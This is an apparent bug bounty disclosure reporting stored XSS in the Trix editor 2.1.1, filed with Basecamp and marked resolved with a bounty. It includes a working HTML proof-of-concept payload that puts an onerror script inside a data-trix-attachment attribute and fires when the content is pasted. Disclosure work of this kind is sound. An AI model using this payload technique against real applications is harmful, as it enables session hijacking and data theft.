Stored XSS on trix editor version 2.1.1
High
B
Basecamp
Submitted None
Actions:
Reported by
thwin_htet
Vulnerability Details
Technical details and impact analysis
The Trix editor is vulnerable to arbitrary code execution when copying and pasting content from the web or other documents with markup into the editor. The vulnerability stems from improper sanitization of pasted content, allowing an attacker to embed malicious scripts which are executed within the context of the application.
### Vulnerable Version
2.1.1
### Steps to Reproduce
1. Run this HTML code on browser.
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Trix Editor XSS Demo</title>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.umd.min.js"></script>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.min.css" rel="stylesheet">
</head>
<body>
<h1>Trix Editor XSS Demo</h1>
<trix-editor></trix-editor>
<script>
document.write(`copy<div data-trix-attachment="{"contentType":"text/html5","content":"<img src=1 onerror=alert(document.domain)>XSS POC"}"></div>me`);
</script>
</body>
</html>
```
2. Click `copy me` and paste it in trix editor.
{F3302252}
3. Alert will pop up.
This could be a bypass of recent Trix Editor CVE : CVE-2024-34341
Ref : https://github.com/basecamp/trix/security/advisories/GHSA-qjqp-xr96-cj99
## Impact
An attacker could exploit these vulnerabilities to execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.
Related CVEs
Associated Common Vulnerabilities and Exposures
CVE-2024-34341
MEDIUM
Trix is a rich text editor. The Trix editor, versions prior to 2.1.1, is vulnerable to arbitrary code execution when copying and pasting content from the web or other documents with markup into the editor. The vulnerability stems from improper sanitization of pasted content, allowing an attacker to embed malicious …
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$1000.00
Submitted
Weakness
Cross-site Scripting (XSS) - Stored